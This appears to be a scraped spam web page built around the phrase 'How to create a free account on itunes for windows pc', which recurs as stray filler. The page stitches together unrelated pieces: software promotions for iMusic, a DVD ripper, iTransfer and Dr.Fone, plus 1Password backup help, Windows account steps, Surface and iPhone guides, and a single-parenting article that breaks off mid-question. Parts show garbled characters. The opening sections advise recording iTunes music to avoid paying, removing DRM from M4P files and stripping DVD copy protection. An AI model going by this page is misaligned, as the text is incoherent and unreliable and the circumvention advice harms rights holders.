Part 1. How to Download Music from iTunes without Paying
Part 2. How to Transfer Music from iTunes to iPhone/iPod/iPad/Android Phones
Part 3. How to Download iTunes Purchased Music

Part 1. How to Download Music from iTunes for Free

Before downloading music from iTunes, you need to pay for it. It is the process to get iTunes Music. Actually, you don’t have to pay for it. If you can play it before purchasing it, then you can get it without paying. iMusic is a software tool for you to download music from iTunes and iTunes Radio. You can use the “Record” feature to record iTunes music.

How to create a free account on itunes for windows pc

iMusic – Easily Download iTunes Music Without Paying

Download songs on your Mac/PC from more than 3,000 music sites like YouTube, Spotify, Pandora, last.fm, Vimeo, Dailymotion, Facebook, VEVO, etc .
Record songs and playlists with original quality.
Fix ID3 tags, like artist name, song title, year and genre automatically.
Remove music DRM protection and convert downloaded M4P music files to MP3 format.
Transfer downloaded songs and playlists to iTunes/iPhone/iPad/iPod/Android/Windows/Mac easily.
1 click to transfer downloaded music and playlist to USB drive to enjoy in car.
Burn downloaded songs and playlists to CDs without quality lossing.

Steps to Download iTunes Music without Paying

What You Will Need:

A Computer; iMusic

Time Required:

Around 2 mins (Variable depending on the video file size)

Difficulty:

Step 1. Install iMusic downloader

Click the Download button to get the latest iMusic installation package. After then, click the installation file and follow the wizard to install iMusic music downloader on your computer. Separate version for Mac and Windows PC are available. Launch the software and click “GET MUSIC” in the main window of the software.

How to create a free account on itunes for windows pc

Step 2. Record Music from iTunes Radio Station

Click “RECORD” to see the management window. From there, click the red record icon. Go to iTunes and find your favorite music. Play the music on your computer. This program will start downloading music. During the process, iMusic will detect the ads and gap automatically and filter out ads and gap, but getting you the information for recorded music, including album, artist, cover and more.

How to create a free account on itunes for windows pc

Step 3. Play or Transfer Recorded iTunes Music

During the recording process, when a song is finished to record, it will be saved to iTunes Library automatically. Click “LIBRARY” on the top of the software, then click the microphone icon, next you’ll see the recorded songs. You can select one song to play it by clicking the Play button at the bottom of the software, or right-click on the window, select Add to to transfer to your iPhone, iPod, iPad.

How to create a free account on itunes for windows pc

Part 2. How to Transfer Music from iTunes Library to iPhone/iPod/iPad/Android Phones without iTunes

Besides the above mentioned recording and download music, iMusic allows users to transfer music from iTunes Library to iPhone, iPod, iPad and even Android devices without using iTunes itself. Of course, it will not cause data erasing issue at all. And if needed, you can use the software to transfer music from devices to iTunes Library as well. Check how to do it now:

How to create a free account on itunes for windows pc

iMusic – Easily Download iTunes Music Without Paying

Transfer purchased and none purchased music from iTunes to iPhone, iPod, iPad and Android.
Copy music and playlist with rating and play counts from iPhone, iPod, iPad and Android phones to iTunes.
Convert songs, videos and other media files to fit iPhone, iPod and iPad.
Clean up broken tracks, fix missing tags for music in iTunes Library.

Steps to transfer music from iTunes to iPhone/iPod/iPad/Android Phones

Step 1. Install iMusic

Download and install iMusic on your computer. Next, connect your iPhone, iPod, iPad or Android phone to your computer via a USB cable. When connected successfully, your device will be displayed in the window of “DEVICE”.

How to create a free account on itunes for windows pc

Step 2. 1-click to Transfer Music from iTunes to Device

In the “DEVICE” window, there is an option “Transfer Music from iTunes to Device”. Click it to let the software scan your iTunes for the file types. After then, choose the file types to transfer.

How to create a free account on itunes for windows pc

Step 3. Transfer Selected Music from iTunes to Devices

Click “LIBRARY” on the top of the software. It is the quick access to iTunes Library. There is a music icon on the left side. Click it to display all music in iTunes Library. Check to select music file, and click the Add icon. From there, select your device to transfer music from iTunes Library to iPhone, iPad, iPod and Android phones.

How to create a free account on itunes for windows pc

Video Tutorial: iMusic- Sync Music from iTunes to iPhone/iPod/iPad

Part 3. How to Download iTunes Purchased Music

If you have purchased music in iTunes and want to download or redownload iTunes music, just follow the below guide.

Step 1: First, you need to authorize the computer for downloading iTunes purchased songs. To do so, launch iTunes and go to вЂњStoreвЂќ > вЂњAuthorize This ComputerвЂќ. Then log in your Apple account and click вЂњAuthorizeвЂќ.

Step 2: In the iTunes main interface, go to вЂњStoreвЂќ, вЂњPurchasedвЂќ to view your items.

Step 3: At the bottom right corner of iTunes interface, click вЂњDownload Previous PurchasesвЂќ.

Step 4: Then click the вЂњPurchasedвЂќ link and choose the вЂњMusicвЂќ option.

Step 5: Now choose the song you want and click the Cloud icon with the downward-pointing arrow to download iTunes music.

See more about: All-in-one Blu-ray Converter to Convert Blu-ray & DVD & Video & Audio to format you need

You might have paid a good amount of money for your DVD collections and they can get be quite bulky. Now, you may be wondering how you can get those movies from DVD to iTunes to sync with your iOS device, like an iPhone, iPad, Apple TV. Apple does not create software to allow you to copy DVD into iTunes directly. You need another third-party app to rip the DVDs to your hard disk on your computer.

Today we are going to take a look at using DVD Ripper for Mac to handle this job. It is a lean and incredibly versatile DVD ripping tool that can remove copy protection on a DVD disc and rips disc content to your hard-drive. These rips can then be stored to create backups of your media, played on media center, burnt to disc later or even exported as iTunes ready file in one click.

Aside from converting DVD to iTunes or other digital formats, there are some very nice extras in this program, such as being able to edit the video to produce good-looking result, adjust the conversion settings.

If you are running a PC and want to put DVD to iTunes library, please go and get its Windows version — DVD Ripper for Windows.

Let’s take a look at the tutorial below for a better idea of how to rip DVD to iTunes on Mac using DVD Ripper. Read on to see the way to do just that.

Step 1: Import DVD disc

Once you’ve launched the program, get the DVD and insert it into your computer. Click Load Disc icon on the main menu to open DVD, or drag-and-drop DVD files into program window.

Here you will see a thumbnail of the contents of DVD in the left pane with relative information such as file name, file size, original format, resolution, length and subtitle.

How to create a free account on itunes for windows pc

Step 2: Configure output settings

iTunes supports QuickTime and MPEG-4 movie files that end in “.mov”, “.m4v”, or “.mp4” file extension.

Click on the Profile drop-down menu on the lower left side of the window and it will bring up a drop-down panel where there are a huge number of output file types you can choose from.

In our case, go to General Video category, then select a profile as output file, such as: MPEG-4 Video (*.mp4), MOV – QuickTime Video (*.mov), M4V MPEG-4 Video (*.m4v).

How to create a free account on itunes for windows pc

There are an array of tweaking options can be manually handled by clicking the Settings button next to Profile menu. You can make changes at this point such as video codec, aspect ratio or video size.

How to create a free account on itunes for windows pc

Alternatively, you may also choose the ready presets for iPhone, iPad, iPod, Apple TV and other popular media player in the presets list to the left, and this Mac DVD to iTunes tool will automatically simplify the process of choose the output settings.

How to create a free account on itunes for windows pc

Step 3: DVD Conversion

Now we are ready for the ripping. Click the Convert button at the bottom-right of the screen to begin the DVD to iTunes ripping process. A progress bar will display how far along you are in the process, and when the conversion is complete you will see the succeeded status displayed.

How to create a free account on itunes for windows pc

Typical ripping time may be around a few minutes, but will vary depending on your hardware of computer, output parameters you set, and size of the disc.

Step 4: Copy ripped movies from disc to iTunes Library

All that remains is to start iTunes. Choose File -> Add to Library and then select the file or folder you want to add, or drag the files into the appropriate icon. iTunes will automatically add it to your library.

Now you are ready to sync MP4 file onto your iOS device. Have fun!

How to Put DVD File onto iMovie on Mac Lion

As we know, iTunes application is the official way Apple offers for iOS users to catalog and organize their libraries on a Mac or PC computer. But for some folks, the iTunes way of doing things feels unbearably confining. If you want to add music from your laptop or desktop to the iPad, you will have to use it to complete the task. To combat piracy, iTunes only performs a one-way synchronization, that is, it doesn’t allow moving music from an iPad back to computer, nor does it makes it possible to sync your iPad with more than one iTunes library at a time. So what are the iTunes alternatives?

Even if you don’t mind iTunes sync, format compatibility is another issue you will have to face. iTunes has a very limited support of music and digital formats. That means you can’t sync some of popular music like the lossless .flac or .ape songs from PC to your iPad via iTunes. Converting them to a iTunes acceptable format before copying to your iPad is another hectic task you might want to skip. So, is there any iTunes alternative or simpler solution that can directly transfer tunes to iPad from Windows computer, regardless of its file format?

Fortunately, iTunes isn’t the only option on the planet. There are number of compelling and capable iTunes alternatives that allows you to put music and other stuff onto an iPad from Windows machine. Amongst them, iPhone Data Transfer is our favorite.

iTransfer is a media manager that aims to offer more flexibility in managing media content on your device(s). It lets you easily transfer music, movies, playlists, ringtones, photos, contacts, messages, podcasts and more amongst your iPad, iPhone, iTunes and computer. And it boasts a plethora of useful options for organizing music library on your device like deleting/ adding songs, creating/ deleting playlist, de-duplicates, moving tunes from one playlist to another, fixing music tags automatically. You can find more features such as GIF Maker in its toolbox.

It takes just a few clicks away to copy any kind of music directly to an iPad from a PC and vice versa without restriction. Let’s see how it works. Dell, HP, ASUS, Sony, Lenovo, Acer, Samsung, IBM, Toshiba are all supported.

Step 1: Hook up iPad with your Windows computer

Download the iTransfer and install on your Windows laptop or desktop, launch it. Once you’re done you’ll see the main iTransfer interface — clean and attractive. Eight large icons on the top bar make it easy to figure out how to accomplish your tasks with the program.

Next, plug your iPad using included Lightning cable into the computer, and wait for the program to detect it. You then will see your device shown in the upper left corner.

How to create a free account on itunes for windows pc

Step 2: Add songs from local folder of computer onto iPad

Click on the Music icon on the top bar, this should show you the iPad music library where lists all of your tracks and playlists including podcasts, iTunes U, audiobooks, the default playlists and your own created playlists on the sidebar.

Next, click on the Add button, from its drop-down list, select Add File or Add Folder.

Tip: the top row gives you further options to export iPad content to PC, iTunes or other iOS device(s), delete ones you don’t want, or even delete duplicates.

How to create a free account on itunes for windows pc

A dialog opens, which lets you browse your computer for music files to add. Simply navigate your computer library and pick the songs you want to move to iPad, then press Open. The tracks on your computer hard drive will immediately begin to be copied to iPad and you’ll see the progress move along on the screen.

How to create a free account on itunes for windows pc

The amount of time that it takes for transfer process to complete depends on how many of songs being transferred.

That’s it! You can now listen to your favorite songs on iPad anywhere and anytime.

Just one note – an Export button next to Add button available for you to move music files on your iPad to save on computer, if needed.

How to AirDrop Files between iPad, iPhone and Mac

How to Import iPhone Music into iTunes Library

The Complete Guide to Move OnePlus Contacts to iPhone

How to Convert .mov Videos into .mp3 Audio Files on Mac

iPad Models supported: iPad Air 2, iPad Air 1, iPad 4, iPad 3, iPad 2, iPad 1; iPad Mini 4, iPad Mini 3, iPad Mini 2, iPad Mini 1, etc.

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How to create a free account on itunes for windows pc

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How to create a free account on itunes for windows pc

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How to create a free account on itunes for windows pc

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Want to get your 1Password data onto a new device? You don’t have to restore from a backup, there’s an easier way.

Your 1Password account is backed up automatically

Everything in your 1Password account is automatically backed up every day:

all the vaults stored in your 1Password account
all the items stored in your 1Password account

This means you don’t have to worry if you lose your devices. To access your data from anywhere, sign in to your account on 1Password.com or sign in on a new device.

Your standalone vaults are backed up automatically on your Mac or Windows PC

1Password 7 and earlier automatically create backups of the standalone vaults on your Mac or Windows PC every day if there have been any changes made since the last backup. This includes vaults you’re syncing with Dropbox or iCloud.

If you’re syncing with Dropbox or iCloud, a copy of your data is also stored separately with Dropbox or iCloud.

You can also create and restore backups of standalone vaults

Mac

iOS

Windows

Android

Create a backup using 1Password 7 or earlier

Open 1Password and choose File > Backup.

To find where the backup files are kept, choose 1Password > Preferences > Backups and click Show Files.

Restore a backup using 1Password 7 or earlier

Open 1Password and choose File > Restore. Select the backup you want to restore and click Restore.

Create a backup

Open and unlock 1Password on your iOS device, then tap Settings > Advanced > Create Backup.

If you’re using macOS Catalina or later

Connect your iOS device to your computer using the USB cable that came with your device.

In Finder, click your device in the sidebar. Get help if you can’t find it.

If itвЂ™s the first time youвЂ™ve connected this device, click Trust on your Mac. Then unlock your iOS device, tap Trust, and enter your passcode.

Click the Files tab, then click next to 1Password.

Drag the Backups folder to your Desktop or other folder on your Mac.

If you’re using an earlier version of macOS or a Windows PC

Open iTunes on your Mac or PC.
Connect your iOS device to your computer using the USB cable that came with your device. If you see “Trust This Computer?” on your iOS device, tap Trust.
Click your device in iTunes. Get help if you can’t find it.
Click File Sharing in the sidebar, then select 1Password in the list of apps.
Select the Backups folder from the 1Password Documents list and click “Save”.
Find the folder on your computer to which you want to copy the files and click “Save” or “Select folder”.

Restore a backup

If you’re using macOS Catalina or later

Connect your iOS device to your computer using the USB cable that came with your device.

In Finder, click your device in the sidebar. Get help if you can’t find it.

If itвЂ™s the first time youвЂ™ve connected this device, click Trust on your Mac. Then unlock your iOS device, tap Trust, and enter your passcode.

Click the Files tab, then click next to 1Password.

Drag a Backups folder or .1p4_zip file from a folder or window on your Mac onto the 1Password icon.

Click the Sync button to copy the files to your iOS device.

Open and unlock 1Password on your iOS device, then tap Settings > Advanced > Restore Backup and follow the onscreen instructions.

If you’re using an earlier version of macOS or a Windows PC

Open iTunes on your Mac or PC.

Connect your iOS device to your computer using the USB cable that came with your device. If you see “Trust This Computer?” on your iOS device, tap Trust.

Click your device in iTunes. Get help if you can’t find it.

Click File Sharing in the sidebar, then select 1Password in the list of apps.

Drag a Backups folder or .1p4_zip file from a folder or window on your computer onto the 1Password Documents list to copy it to your device.

You can also click Add in the 1Password Documents list in iTunes, find a Backups folder you want to copy from your computer, and then click Add.

If iTunes asks you to replace the existing Backups folder, click Replace.

Open and unlock 1Password on your iOS device, then tap Settings > Advanced > Restore Backup and follow the onscreen instructions.

Restore a backup using 1Password 7

Create a folder called 1Password.opvault on your desktop:
1. Right-click your desktop and choose New > Folder.
2. Name the folder 1Password.opvault .
Open Start, type %LOCALAPPDATA%\1Password\Backups to search, then press Enter. You’ll see a list of folders, one for each vault 1Password has backed up.
Open the folder for the vault you want to restore. You’ll see a list of .zip files with names corresponding to the date and time of each backup.
Right-click the .zip file you want to restore and choose Extract All.
Click Browse, choose the 1Password.opvault folder on your desktop, and click Select Folder.
Click Extract. If you see “There is already a file with the same name as the folder name you specified”, contact 1Password Support.

To add the vault to your existing 1Password data, open 1Password 7 and choose 1Password > “Open vault on this PC”.

To replace all your existing 1Password data:

Open 1Password 7. You don’t need to enter your account password.

Click the Start menu.
Click the 1Password icon .

Choose Help > Troubleshooting > Reset All 1Password Data and follow the onscreen instructions.

Open 1Password and choose “Sync using folder” on the welcome screen.

Exporting your data to an OPVault folder requires Dropbox, WLAN Server, or local folder sync.

Open and unlock 1Password.
Tap Settings > Advanced > “Export primary vault”.

Your 1Password data will be saved to a folder named 1PasswordExports in local storage on your device.

Learn more

Move your 1Password data to a new computer or device
View and restore previous versions of items
How to export data from 1Password

Still need help?

If this article didn’t answer your question, contact 1Password Support.

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Home > Transfer iPhone Media > How to Transfer Photos from iPhone to PC Using iTunes

October 16, 2018 (Updated: June 21, 2021)

Many iPhone users who loved the rear-view ultra-high pixel camera of iPhone X for its 4K photos and HD videos are now turning such features because of storage space issues. Are your iPhone 4k photos and HD videos occupying a good chunk of your iPhone storage space, thereby making it hard to find enough storage space for other important files, apps, and data?

This article introduces a solution to use iTunes or other tools to transfer your photos from your iPhone X or iPhone 5 (iOS 14/13/12 Supported) to your PC for safekeeping before erasing them from your device. Excellent alternatives to iTunes are also discussed with details. Follow our guide to transfer your iPhone photos to PC easily and effectively.

Part 1: How to Transfer Photos from iPhone to PC Using iTunes
Part 2: Alternative Methods to Transfer iPhone Photos to PC Using iTunes

How to Transfer Photos from iPhone to PC Using iTunes

Apple Inc. designed iTunes as an all-in-one software for managing everything iOS (including iOS 14/13/12/11). Being a single multimedia suite for your entire Apple devices’ needs, iTunes can easily transfer iPhone photos and videos to laptop without any hassle.

If you have photos on your iPhone that are not on your computer, you can follow these steps to import them to your PC:

Step 1. Make sure that you have the latest version of iTunes on your PC. Importing photos to your PC requires iTunes 12.5.1 or later. Launch iTunes first.

Step 2. Connect your iPhone to PC using the original iPhone USB cable.
You might need to unlock your iPhone using the screen passcode and then click “Trust This Computer” if such a window pops up.

Step 3. Click your device icon on iTunes top bar.

Step 4. Look to the left side of the iTunes windows and click Photos.

Step 5. Tick the box next to “Sync Photos“, and choose the folder or app where to sync from.

How to create a free account on itunes for windows pc

Step 6. Choose “Sync all photo and albums“. You can select “include Videos” to include your iPhone videos in the sync.

Step 7: On your laptop, click the “Start” menu and then select Photos to open the “Photos” app.

Step 8: Select “Import > From a USB device“, choose your iPhone, then follow the instructions. You can pick the items you want to import and select where to save them. Allow a few moments for detection and transfer.

How to create a free account on itunes for windows pc

Alternative Methods to Transfer iPhone Photos to PC without iTunes

If you start encountering iTunes errors and issues, then use these Methods, Tools, and Techniques to transfer your photos to PC.

#1. Transfer Photos from iPhone to PC without iTunes via iMyFone TunesMate

iTunes is not perfect in every sense and tends to end up in unknown errors and issues even when performing a simple task. iMyFone TunesMate isВ a preferred alternative to iTunes in transferring multimedia files like songs, videos, photos, and more. Therefore, to solve iTunes error issues in transferring photos from iPhone (including iOS 14) to PC, iMyFone presents TunesMate to you.

TunesMate supports to transfer all iPhone media files, such as photos, videos, documents, ringtones, wallpapers, podcasts, audiobooks, playlists without any error or issues.

Transfer iPhone photos to PC quickly and conveniently in one-click.
Fix iTunes library corruption via transferring your iPhone data to it.
Support transferring all kinds of media files from iPhone to PC, including photos, videos, documents, ringtones, wallpapers, podcasts, audiobooks, playlists.
More quick and friendly than iTunes.
Applies To: Any iPhone running iOS 8 to iOS 14 or later.

Steps to Transfer Photos from iPhone to PC with iMyFone TunesMate:

Step 1. Launch TunesMate and then connect your iPhone to PC with a USB cable.

How to create a free account on itunes for windows pc

Step 2. Browse and choose the target folder for the exported photos on the computer from the pop-up window, tap “Select Folder” to begin the export process. You can now select the target folder to store your photos.

How to create a free account on itunes for windows pc

Step 3. If “Backup Successfully” pops up, click “Open Folder” to view your backup.

How to create a free account on itunes for windows pc

#2. Transfer Photos from iPhone to PC via iCloud Photo Library

iTunes was primarily developed to manage iPhone, iPad or iPod touch files and data especially music files. iTunes has become overstock with many functionalities that it sometimes can even not perform simple tasks efficiently.

iCloud photo library safely stores your iPhone, iPad, iPod touch, Windows PC, and videos in iCloud, and makes them available on all your mobile and desktop devices as long as your iCloud account ids logged in. Here is how to enable iCloud Photo Library on Windows 10 PC.

Step 1. Download iCloud for Windows application to your PC and install it.

Step 2. Open iCloud for Windows and click “Photos > Options > iCloud Photo Library > Done > Apply“.

How to create a free account on itunes for windows pc

Step 3. In the Windows Taskbar, click the up arrow in the lower right. Click the cloud icon (for iCloud), then click “Download Photos“.

How to create a free account on itunes for windows pc

Step 4. Select the photos that you need to transfer to your PC, and then click “Download“.

How to create a free account on itunes for windows pc

Step 6. When the downloading ends, you can find photos transferred from iPhone to PC through Windows File Explorer.

You can create a local user account (an offline account) for anyone who will frequently use your PC. The best option in most cases, though, is for everyone who uses your PC to have a Microsoft account. With a Microsoft account, you can access your apps, files, and Microsoft services across your devices.

If needed, the local user account can have administrator permissions; however, it’s better to just create a local user account whenever possible.

Caution: A user with an administrator account can access anything on the system, and any malware they encounter can use the administrator permissions to potentially infect or damage any files on the system. Only grant that level of access when absolutely necessary and to people you trust.

As you create an account, remember that choosing a password and keeping it safe are essential steps. Because we don’t know your password, if you forget it or lose it, we can’t recover it for you.

Create a local user account

Select Start > Settings > Accounts and then select Family & other users. (In some versions of Windows you’ll see Other users.)

Next to Add other user, select Add account.

Select I don’t have this person’s sign-in information, and on the next page, select Add a user without a Microsoft account.

Enter a user name, password, or password hint—or choose security questions—and then select Next.

Change a local user account to an administrator account

Select Start > Settings > Accounts.

Under Family & other users, select the account owner name (you should see “Local account” below the name), then select Change account type.

Note: If you choose an account that shows an email address or doesn’t say “Local account”, then you’re giving administrator permissions to a Microsoft account, not a local account.

Under Account type, select Administrator, and then select OK.

If you’re using Windows 10, version 1803 and later, you can add security questions as you’ll see in step 4 under Create a local user account. With answers to your security questions, you can reset your Windows 10 local account password. Not sure which version you have? You can check your version.

Create a local user account

Select Start > Settings > Accounts and then select Family & other users. (In some versions of Windows you’ll see Other users.)

Select Add someone else to this PC.

Select I don’t have this person’s sign-in information, and on the next page, select Add a user without a Microsoft account.

Enter a user name, password, or password hint—or choose security questions—and then select Next.

Change a local user account to an administrator account

Select Start > Settings > Accounts .

Under Family & other users, select the account owner name (you should see “Local Account” below the name), then select Change account type.

Note: If you choose an account that shows an email address or doesn’t say “Local account”, then you’re giving administrator permissions to a Microsoft account, not a local account.

Under Account type, select Administrator, and then select OK.

How to create a free account on itunes for windows pc

James Davis

Apr 27, 2022 • Filed to: Backup Data between Phone & PC • Proven solutions

Try to transfer files from PC to iPad? When having an iPad, you may like to import music, videos, and photos and more to it now and then, you can enjoy them freely. But, it’s not easy to do that. If your iPad is new, you can add files to it by just syncing iTunes with it. What if you have had this iPad for some time? If you still do that, you will lose some data on your iPad. It’s annoying, especially when the files on your iPad are original.

How to create a free account on itunes for windows pc

But don’t’ worry, here in this article, we will bring you the best ways of how to transfer files from PC to iPad. Vast of other services can be used for file transfer, and this article will present to you six ways. Transferring files is something we all need in one moment, whether it is music transfer, sharing videos, back up your contacts, or for other files. Every solution has its benefits. Besides, We will introduce Dr.Fone – Phone Manager (iOS) to you, which is also one of the best solutions when it comes to transferring files from PC to iPad. Carefully watch the next several methods of how to transfer files from PC to iPad.

Part 1: Transfer Files from PC to iPad Using iPad Transfer Tool

A good way of transferring files to your iPad is using iTunes, but we will present here the easier solution, and probably even better than you used in previous actions! Follow the next few steps on how to transfer files from computer to iPad with Dr.Fone – Phone Manager (iOS) instead of iTunes.

First of all, download Dr.Fone – Phone Manager (iOS) in your computer to transfer files from PC to iPad. Then, follow us to check out the simple steps below. Here, just take the Windows version as an example.

Dr.Fone – Phone Manager (iOS)

Transfer Music, Photos, Videos to iPod/iPhone/iPad without iTunes!

Transfer, manage, export/import your music, photos, videos, contacts, SMS, Apps, etc.
Backup your music, photos, videos, contacts, SMS, Apps, etc. to computer and restore them easily.
Transfer music, photos, videos, contacts, messages, etc from one smartphone to another.
Transfer media files between iOS devices and iTunes.
Fully compatible with iOS 7 to iOS 13 and iPod.

Step 1. Run the iPad Transfer Program

Download and install Dr.Fone on your computer. Start it and select “Phone Manager”. Now connect iPad to computer with the USB cable, and the software will automatically recognize your iPad.

How to create a free account on itunes for windows pc

Step 2. Transfer Files from PC to an iPad

Here I’d like to share with you how to transfer music, videos, playlist, photos, and contacts to your iPad one by one.

Choose “Music” category at the top of the main interface, and you’ll see different sections of audio files in the left sidebar, along with the contents in the right part. Now click the “Add” button, and select “Add File or Add Folder” to add music files from your computer to the iPad. If the music files are not compatible with the iPad, the program will help you to convert them.

How to create a free account on itunes for windows pc

Note: This PC to iPad transfer platform is fully compatible with iPad mini, iPad with Retina display, The New iPad, iPad 2, and iPad Pro.

It’s the same to import videos to your iPad. Click “Videos”>”Movies” or “TV Shows” or “Music Videos” or “Home Videos”>”Add”.

How to create a free account on itunes for windows pc

You can also create a new playlist on your iPad directly with the help of Dr.Fone – Phone Manager (iOS). You only need to right-click on one playlist and choose the “New Playlist” to create a new playlist on your computer.

How to create a free account on itunes for windows pc

If you intend to copy your favorite photos from your PC to your iPad, you should click the “Photos” tab. Camera Roll and Photo Library will show up in the left sidebar. Click the Add button, and select Add File or Add Folder to add music files from the computer.

How to create a free account on itunes for windows pc

If you prefer to use an iPad to do your job, you may want to transfer contacts in it. To import contacts, you just need to click “Information” and then “Contacts” tab. Click the Import button in the window, and you’ll see several options: from vCard File, from CSV File, from Windows Address Book, and Outlook 2010/2013/2016.

How to create a free account on itunes for windows pc

Note: At present, the Mac version doesn’t support transferring contacts from PC to iPad.

That’s the tutorial about how to transfer files from computer to iPad. Now, just download this computer to iPad transfer to have a try!

Your iPhone and Surface work great together. You can use Apple or Microsoft apps and services to connect your devices. Get your pictures, files, and contacts anywhere, with whatever device you use.

Note: Some apps might not be available in all countries or regions.

Get iTunes for your Surface

With your Surface, you can purchase, download, and stream music from iTunes. You can also sync your iOS devices to your Surface using iTunes. To get started, download iTunes from the Microsoft Store.

For more info about iTunes and previous itunes versions, see iTunes on Apple Support.

Set up iCloud for Windows

If you’re already using iCloud, you can keep using it to sync your photos, contacts, and bookmarks to your Surface.

On your Surface, download iCloud for Windows from the Microsoft store.

Install iCloud for Windows, then restart your device.

iCloud will open and ask you to sign in. If you don’t see it, go to Start , search for iCloud, and then select it.

Choose what you want to sync to your Surface and select apply.

Sync your iPhone and Surface using OneDrive

OneDrive syncs photos and files from your iPhone to your Surface. You need to sign in to your Microsoft account first, but any updates or changes you make in OneDrive will appear on both your devices.

Sign in to OneDrive on Surface

Select Start > Settings > Accounts > Email & app accounts > Add an account.

Learn more about syncing files from OneDrive to your Surface in OneDrive on your PC.

Sign in to OneDrive on iPhone

Get the OneDrive app from the Apple App Store.

In the OneDrive app, sign in with your Microsoft account, then follow the instructions.

Get photos from your iPhone to your Surface

The OneDrive app can automatically upload photos taken on your iPhone. Your uploaded photos can be seen on your Surface too.

Upload your photos to OneDrive

On your iPhone, get the OneDrive app from the Apple App Store.

In the OneDrive app, sign in with your Microsoft account.

Do one of the following:

If this is your first time signing in, select Start Camera Upload when asked if you’d like to automatically upload photos you take.

If you’ve already signed into the OneDrive app, select Me > Settings > Camera Upload and turn on Camera Upload. Now, every photo you take with your iPhone will be saved to OneDrive. If you want videos to be saved to OneDrive, make sure Include Videos is turned on.

See your photos on Surface

OneDrive is built into Windows 10, so you can get your photos from OneDrive in File Explorer.

On your Surface, select File Explorer on the taskbar.

In File Explorer , select OneDrive on the left side.

Once your OneDrive folders appear, select Pictures > Camera Roll. Pictures taken on your iPhone will appear and you can open and view them from here.

Use Office apps on your Surface and iPhone

If you need to edit Office documents on your iPhone, stay productive with Office apps. You’ll be able to create, edit, and share documents directly from your iPhone and continue working on your Surface.

Edit your Office documents on your iPhone and Surface

When you save your documents to OneDrive, you’ll see them on both your Surface and iPhone.

Search for Microsoft Office in the Apple App Store.

Select Install next to the following apps:

Open an app to begin editing documents you saved on OneDrive.

Changes will be saved across devices so you can start work on your iPhone and continue on your Surface.

See your email accounts and calendars in one place with Microsoft Outlook

Stay organized when you use Microsoft Outlook on your iPhone. Get a familiar mail experience when you download Microsoft Outlook from the Apple App Store. Set up Microsoft Outlook so you can:

Get all your important email in a focused inbox.

Search contacts and attachments from all your email accounts

See your calendar appointments and reminders across all your accounts with different views

Browse the web on your iPhone, continue on your Surface

Experience seamless web browsing by linking your iPhone and Surface together. You can open a web page using Microsoft Edge on your iPhone, then continue reading it on your Surface.

Link your iPhone to your Surface

On your iPhone, download the Microsoft Edge app from the App Store.

Open Microsoft Edge on your iPhone. Sign in with your Microsoft account to link it to your Surface.

Send a webpage from your iPhone to your Surface

On your iPhone, open a webpage in Microsoft Edge .

In the bottom toolbar, select Continue on PC.
How to create a free account on itunes for windows pc

Send the webpage to your Surface by selecting Choose a PC to open this now or Continue Later.

How to create a free account on itunes for windows pc

Choose a PC to open this now will let you choose a linked computer that is powered on and connected to the internet.

Continue later sends the webpage to all of your linked computers for later access. When you’re ready, go to action center and select the webpage to open it on your Surface.

How to create a good family life as a single parent

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A single parent is someone who is unmarried, widowed, or divorced and not remarried. The single-parent household can be headed by a mother, a father, a grandparent, an uncle, or aunt. According to the Pew Research Center, between 25 to 30 percent of children under age 18 in the U.S. live in a single-parent household. The U.S. Census reports that roughly 22 million children live with a single parent. And three times as many women, when compared with men, head these households .

The Well-Being of Children in a Single-Parent Household

Single parents should be reassured by the fact that a large number of studies find no differences between the children of single mothers and children from other types of households. One study looked into the lives of children from different kinds of households—two-parent biological, adoptive, step-father, step-mother, single-parent—and the type of household did not matter. Children’s grades, and their relationships with their siblings and their friends, were about the same across all households. In a survey of adolescents living in nine types of households, those who lived with parents who had always been single and who were being raised in multi-generational households reported the highest sense of well-being of all those surveyed.

Can children of single parents fare just as well as children of married couples?

In studies as well as many reports from children themselves, children are better off raised by a single parent as opposed to living with married parents who engage in constant conflict. Children raised by one divorced parent sometimes have better outcomes than children raised by a parent who is remarried. It is impossible to predict a child’s outcome based on this one factor alone.

Are there positives for children raised by a single parent?

Yes. Every situation involves trade-offs, and they often go unrecognized at the time. In a common refrain, the grown child of a single, working mom reported that he was glad that his mom was busy all the time. His friends, by contrast, had moms who stayed at home. These parents were hyper-involved in their lives, including their schoolwork and schedules. This overbearing participation produced problems between parent and child.

Can a single parent become too close to their child?

Yes, but this is a risk for married parents as well. Some parents rely too heavily on a child for emotional support. These individuals become enmeshed with their child because of their own low self-esteem, loneliness, neediness, insecurity, or other similar reasons. These parents lack boundaries, preferring to be a best friend rather than a parent.

Are children of single parents at risk for substance abuse?

The vast majority of the children of single parents flourish at home and in later life. In a national survey of substance abuse among more than 22,000 adolescents from different kinds of households, the rate of substance abuse among the children of single parents was 5.7 percent, and the rate for the children of married parents was 4.5%.

Are children of single parents at risk for other serious problems?

Not at all. More often, the children of single parents defy all stereotypes. If problems arise, they likely already existed when a child’s parents were married or arise independent of the household configuration. These children were struggling in their nuclear family. Researchers who followed children of married parents for more than a decade, not knowing in advance whether the parents would stay married or divorce, found that among the children whose parents did divorce and who had problems, their difficulties began at a young age.

The Challenges of Single-Parent Families

Children need a safe and reliable household to flourish. Of course, it is much harder for single-parents who live with financial hardship. The Bureau of Labor Statistics data show that nearly 11 million people are considered working poor. The definition of working poor is an individual who spends 27 weeks or more in the workforce, this person is working or looking for work, yet their income is below the poverty level. And according to the U.S. Census, single moms are one of the most disadvantaged groups—with nearly 30 percent living in poverty. Many of these single moms cannot provide for their families as they often have lower-paying jobs.

Will my worries about finances impede my parenting?

Being the sole parent of a household may mean you are the boss, free of quarrels over money and finance. That’s great, but according to research, it costs $234,000 to raise a child. This price tag impacts the high risk of financial hardship.

I am returning to work, but I’m worried about my kids.

This should not be a source of concern or guilt, even though it often is. Children of mothers who return to work while the children are infants and toddlers, fare the same behaviorally and academically compared with children whose mothers stay home. In one study, kids from single-parent families, whose mothers worked, had better academic scores and fewer behavioral problems than did children whose mothers did not work.

I don’t get to see my kids enough, will that affect my relationship with them?

The U.S. Census Bureau reports that at two years after the breakup of their family, nearly 50 percent of children who live with their mother do not see their father regularly. Many fathers are often shortchanged by custody arrangements. However, a father showing interest and being involved with his children is a huge plus for all. One way to help this along: Help your ex. Pick up the children from school, attend their functions, and cheer them on at games–this involvement can make a difference. Helping your ex will help you. By being an involved father, you and your kids will find ways to spend more time together.

How can I raise successful children as a single parent?

